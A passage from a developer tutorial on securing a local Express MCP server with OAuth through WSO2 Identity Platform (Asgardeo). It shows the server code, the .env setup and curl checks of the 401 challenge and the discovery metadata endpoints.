<p>The connection should fail with an authorization error. The server doesn't accept the supplied token, so it refuses to process the MCP request.</p>
</li>
<li class="">
<p>Restore the original value if you want to repeat the successful test:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">Authorization</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'Bearer demo-token'</span><br></span></code></pre></div></div>
</li>
</ol>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-cant-we-keep-using-this-approach">Why can't we keep using this approach?<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#why-cant-we-keep-using-this-approach" class="hash-link" aria-label="Direct link to Why can't we keep using this approach?" title="Direct link to Why can't we keep using this approach?" translate="no">​</a></h3>
<p>For our local example, supplying a static token works.</p>
<p>But consider an application that connects to a document server on behalf of different users. Three problems show up:</p>
<ul>
<li class="">The user still needs to authorize access. Someone must obtain the access token from an authorization server, and a hardcoded header doesn't explain how that happens.</li>
<li class="">Access tokens expire. Our application needs to refresh credentials when permitted, or ask the user to authorize again.</li>
<li class="">Different users need different credentials. If Alice and Bob use the same application, we can't send Alice's access token when Bob calls a tool.</li>
</ul>
<p>There's nothing wrong with supplying a token when another component already manages authorization. But when our application needs to establish authorization itself, a static header isn't enough.</p>
<p>We need the client to discover the authorization server, let the user sign in, obtain credentials, and manage those credentials for subsequent requests.</p>
<p>That's what we'll implement next.</p>
<p>Keep this <code>server.ts</code>. We'll soon replace its hardcoded token check with real OAuth token validation, and it will start publishing the metadata clients need to find the authorization server.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-authprovider-parameter-that-connects-the-pieces">The authProvider parameter that connects the pieces<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#the-authprovider-parameter-that-connects-the-pieces" class="hash-link" aria-label="Direct link to The authProvider parameter that connects the pieces" title="Direct link to The authProvider parameter that connects the pieces" translate="no">​</a></h2>
<p>The official MCP TypeScript SDK lets us supply an <code>OAuthClientProvider</code> to the HTTP transport instead of manually managing the authorization header.</p>
<p>For example:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> transport </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">StreamableHTTPClientTransport</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  serverUrl</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    authProvider</span><span class="token operator">:</span><span class="token plain"> provider</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>This is an illustration of the integration we'll build later, not code to add to <code>client.ts</code> yet. We haven't created <code>serverUrl</code> or <code>provider</code> in our application.</p>
<p>When we implement OAuth, we'll create an <code>oauth-provider.ts</code> file containing the provider and update <code>client.ts</code> to use it.</p>
<p>The provider supplies application-specific behavior, including credential storage and the browser authorization handoff. The SDK handles the OAuth protocol operations.</p>
<p>Our current server won't work with this flow because it only checks for the hardcoded <code>demo-token</code>. Before using <code>authProvider</code>, we'll configure a real OAuth-protected MCP endpoint.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="delegating-to-the-mcp-sdks-oauth-provider">Delegating to the MCP SDK's OAuth provider<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#delegating-to-the-mcp-sdks-oauth-provider" class="hash-link" aria-label="Direct link to Delegating to the MCP SDK's OAuth provider" title="Direct link to Delegating to the MCP SDK's OAuth provider" translate="no">​</a></h2>
<p>The MCP SDK already handles much of the OAuth flow.</p>
<p>It can:</p>
<ul>
<li class="">discover the authorization server's metadata;</li>
<li class="">build authorization requests that use PKCE;</li>
<li class="">support the MCP client registration mechanisms;</li>
<li class="">exchange authorization codes for tokens;</li>
<li class="">refresh tokens when a refresh token is available.</li>
</ul>
<p>Our application needs to provide the information and interactions that are specific to its environment.</p>
<p>For example, the <code>OAuthClientProvider</code> interface defines methods for retrieving client information, storing tokens, saving PKCE values, and directing users to the authorization page.</p>
<p>We'll implement these methods in <code>oauth-provider.ts</code> after configuring our authorization server.</p>
<p>There's no code to change in our project at this stage. First, let's examine how OAuth discovery works so we know what our protected MCP server needs to expose.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="discover-the-authorization-server">Discover the authorization server<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#discover-the-authorization-server" class="hash-link" aria-label="Direct link to Discover the authorization server" title="Direct link to Discover the authorization server" translate="no">​</a></h3>
<p>A protected MCP server publishes Protected Resource Metadata. When a client receives <code>401 Unauthorized</code>, it uses that metadata to find the authorization server responsible for issuing access tokens. Our server doesn't publish it yet. We'll add it shortly.</p>
<p>The next discovery document comes from the authorization server itself. It describes where the client should send the user to authorize access and where it can exchange an authorization code for tokens.</p>
<p>We shouldn't implement these endpoints in <code>server.ts</code>. Our Express application is the MCP protected resource, not the OAuth authorization server.</p>
<p>For the rest of this tutorial, we'll use WSO2 Identity Platform to handle user authentication, consent, and token issuance. We'll also use its MCP authorization SDK to secure our existing Express server.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="configure-wso2-identity-platform">Configure WSO2 Identity Platform<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#configure-wso2-identity-platform" class="hash-link" aria-label="Direct link to Configure WSO2 Identity Platform" title="Direct link to Configure WSO2 Identity Platform" translate="no">​</a></h3>
<ol>
<li class="">Sign in to your WSO2 Identity Platform organization. If you don't have one yet, create one. You'll need its Console to register an OAuth application and configure API authorization.</li>
<li class="">Note your organization's base URL. It has this format:</li>
</ol>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">https://api.asgardeo.io/t/&lt;organization&gt;</span><br></span></code></pre></div></div>
<p>Our Express server will continue exposing the <code>add</code> tool at:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">http://localhost:3000/mcp</span><br></span></code></pre></div></div>
<p>That URL is our MCP resource identifier. The server will only accept access tokens issued for it.</p>
<p>We use <code>localhost</code> here, not <code>127.0.0.1</code>. The client sends the resource identifier to WSO2 Identity Platform in the <code>resource</code> parameter, and its firewall blocks authorization requests whose <code>resource</code> contains a raw IP address such as <code>127.0.0.1</code>: you'd get a <code>403</code> page instead of the sign-in screen. The redirect URL isn't affected, so it can stay <code>http://127.0.0.1:3030/callback</code>.</p>
<p>For this local experiment, we're using a loopback HTTP endpoint. A remotely accessible MCP server should use HTTPS.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="add-the-server-configuration">Add the server configuration<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#add-the-server-configuration" class="hash-link" aria-label="Direct link to Add the server configuration" title="Direct link to Add the server configuration" translate="no">​</a></h3>
<ol>
<li class="">
<p>Return to the project directory containing <code>server.ts</code> and <code>client.ts</code>.</p>
</li>
<li class="">
<p>Create a <code>.env</code> file there with your organization's base URL and the MCP resource identifier:</p>
<div class="language-dotenv codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-dotenv codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">BASE_URL=https://api.asgardeo.io/t/&lt;organization&gt;</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">MCP_RESOURCE=http://localhost:3000/mcp</span><br></span></code></pre></div></div>
</li>
<li class="">
<p>Replace <code>&lt;organization&gt;</code> with your organization name.</p>
</li>
</ol>
<p>The server reads both values at startup. We'll add the client's values to the same file later.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="install-the-wso2-mcp-authorization-sdk">Install the WSO2 MCP authorization SDK<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#install-the-wso2-mcp-authorization-sdk" class="hash-link" aria-label="Direct link to Install the WSO2 MCP authorization SDK" title="Direct link to Install the WSO2 MCP authorization SDK" translate="no">​</a></h3>
<ol>
<li class="">
<p>Stop the MCP server if it's still running.</p>
</li>
<li class="">
<p>Install the WSO2 MCP Express SDK:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">npm install @asgardeo/mcp-express@0.3.0</span><br></span></code></pre></div></div>
</li>
</ol>
<p>The package provides Express middleware for MCP authorization: token validation, and the metadata routes clients use for discovery.</p>
<p>It reads <code>BASE_URL</code> from the environment as soon as it's imported, and stops with <code>BASE_URL is missing</code> if the value isn't set. That's why we created <code>.env</code> first.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="update-the-express-mcp-server">Update the Express MCP server<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#update-the-express-mcp-server" class="hash-link" aria-label="Direct link to Update the Express MCP server" title="Direct link to Update the Express MCP server" translate="no">​</a></h3>
<ol>
<li class="">
<p>Open <code>server.ts</code>. Keep the <code>createMcpHandler()</code> implementation and the registered <code>add</code> tool unchanged.</p>
</li>
<li class="">
<p>At the top of the file, add:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> McpAuthServer </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'@asgardeo/mcp-express'</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
</li>
<li class="">
<p>Find the block at the bottom of the file where we created the Express application and added the <code>demo-token</code> middleware, and replace that whole block with:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> app </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">createMcpExpressApp</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> mcpHandler </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">toNodeHandler</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">handler</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> baseUrl </span><span class="token operator">=</span><span class="token plain"> process</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">env</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token constant" style="color:#C43300">BASE_URL</span><span class="token operator">!</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> resource </span><span class="token operator">=</span><span class="token plain"> process</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">env</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token constant" style="color:#C43300">MCP_RESOURCE</span><span class="token operator">!</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> auth </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">McpAuthServer</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  baseUrl</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  issuer</span><span class="token operator">:</span><span class="token plain"> </span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">${</span><span class="token template-string interpolation" style="color:#15803D">baseUrl</span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">}</span><span class="token template-string string" style="color:#15803D">/oauth2/token</span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  resource</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  audience</span><span class="token operator">:</span><span class="token plain"> resource</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token comment" style="color:#5A6072;font-style:italic">// Publish the OAuth discovery metadata.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">app</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">use</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">auth</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">router</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token comment" style="color:#5A6072;font-style:italic">// Validate the access token before the MCP handler runs.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">app</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">all</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'/mcp'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> auth</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">protect</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> res</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">void</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">mcpHandler</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> res</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> req</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">body</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">app</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">listen</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token number" style="color:#C43300">3000</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'localhost'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> error </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">error</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">throw</span><span class="token plain"> error</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token builtin" style="color:#1F4FFF">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">log</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'MCP server running at http://localhost:3000/mcp'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
</li>
</ol>
<p>The <code>demo-token</code> middleware is gone. <code>auth.router()</code> publishes the discovery metadata, and <code>auth.protect()</code> validates tokens.</p>
<p>Each option has a specific job:</p>
<ul>
<li class=""><code>baseUrl</code>: your organization's base URL. The SDK loads the signing keys from <code>{baseUrl}/oauth2/jwks</code>.</li>
<li class=""><code>issuer</code>: the value WSO2 Identity Platform puts in the token's <code>iss</code> claim. For an organization, that's its token endpoint URL.</li>
<li class=""><code>resource</code>: the resource identifier the server publishes in its Protected Resource Metadata.</li>
<li class=""><code>audience</code>: the <code>aud</code> value a token must carry. Without it, the SDK accepts any token your organization signed, including one issued for a different API.</li>
</ul>
<p>We haven't changed the MCP handler or the tool. Express still forwards authorized requests to the same handler.</p>
<p>The difference is that every request to <code>/mcp</code> now passes through <code>auth.protect()</code> first.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="start-the-server">Start the server<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#start-the-server" class="hash-link" aria-label="Direct link to Start the server" title="Direct link to Start the server" translate="no">​</a></h3>
<p>Start the server with the environment loaded:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">node --env-file=.env --import tsx server.ts</span><br></span></code></pre></div></div>
<p>You should see:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">MCP server running at http://localhost:3000/mcp</span><br></span></code></pre></div></div>
<p>Leave this terminal running.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="test-the-authorization-challenge">Test the authorization challenge<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#test-the-authorization-challenge" class="hash-link" aria-label="Direct link to Test the authorization challenge" title="Direct link to Test the authorization challenge" translate="no">​</a></h3>
<ol>
<li class="">
<p>Open another terminal in the same project directory.</p>
</li>
<li class="">
<p>Send a request without an access token:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">curl -i -X POST http://localhost:3000/mcp \</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  -H 'Content-Type: application/json' \</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  -d '{}'</span><br></span></code></pre></div></div>
<p>The server rejects it with <code>401 Unauthorized</code> and an OAuth bearer challenge:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">HTTP/1.1 401 Unauthorized</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">WWW-Authenticate: Bearer resource_metadata="http://localhost:3000/.well-known/oauth-protected-resource"</span><br></span></code></pre></div></div>
</li>
<li class="">
<p>The <code>resource_metadata</code> value is where a client goes next. Request it:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">curl http://localhost:3000/.well-known/oauth-protected-resource</span><br></span></code></pre></div></div>
<p>The response identifies our MCP resource and the authorization server that issues tokens for it:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"resource"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"http://localhost:3000/mcp"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"authorization_servers"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token string" style="color:#15803D">"https://api.asgardeo.io/t/&lt;organization&gt;/oauth2/token"</span><span class="token punctuation" style="color:#5A6072">]</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"bearer_methods_supported"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token string" style="color:#15803D">"header"</span><span class="token punctuation" style="color:#5A6072">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
</li>
<li class="">
<p>Check that <code>resource</code> matches <code>MCP_RESOURCE</code> exactly. The resource identifier must stay the same throughout authorization and token validation.</p>
</li>
</ol>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="inspect-the-authorization-server-metadata">Inspect the authorization server metadata<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#inspect-the-authorization-server-metadata" class="hash-link" aria-label="Direct link to Inspect the authorization server metadata" title="Direct link to Inspect the authorization server metadata" translate="no">​</a></h3>
<p>The Protected Resource Metadata named one authorization server:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">https://api.asgardeo.io/t/&lt;organization&gt;/oauth2/token</span><br></span></code></pre></div></div>
<p>That value is the authorization server's issuer identifier. A client uses it to find the authorization server's own metadata, defined in RFC 8414.</p>
<p>The metadata URL is built by inserting <code>/.well-known/oauth-authorization-server</code> between the host and the issuer's path:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">https://api.asgardeo.io/.well-known/oauth-authorization-server/t/&lt;organization&gt;/oauth2/token</span><br></span></code></pre></div></div>
<p>Request it, replacing <code>&lt;organization&gt;</code> with your organization name:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">curl https://api.asgardeo.io/.well-known/oauth-authorization-server/t/&lt;organization&gt;/oauth2/token</span><br></span></code></pre></div></div>
<p>The response is a long JSON document. These are the fields an MCP client relies on:</p>
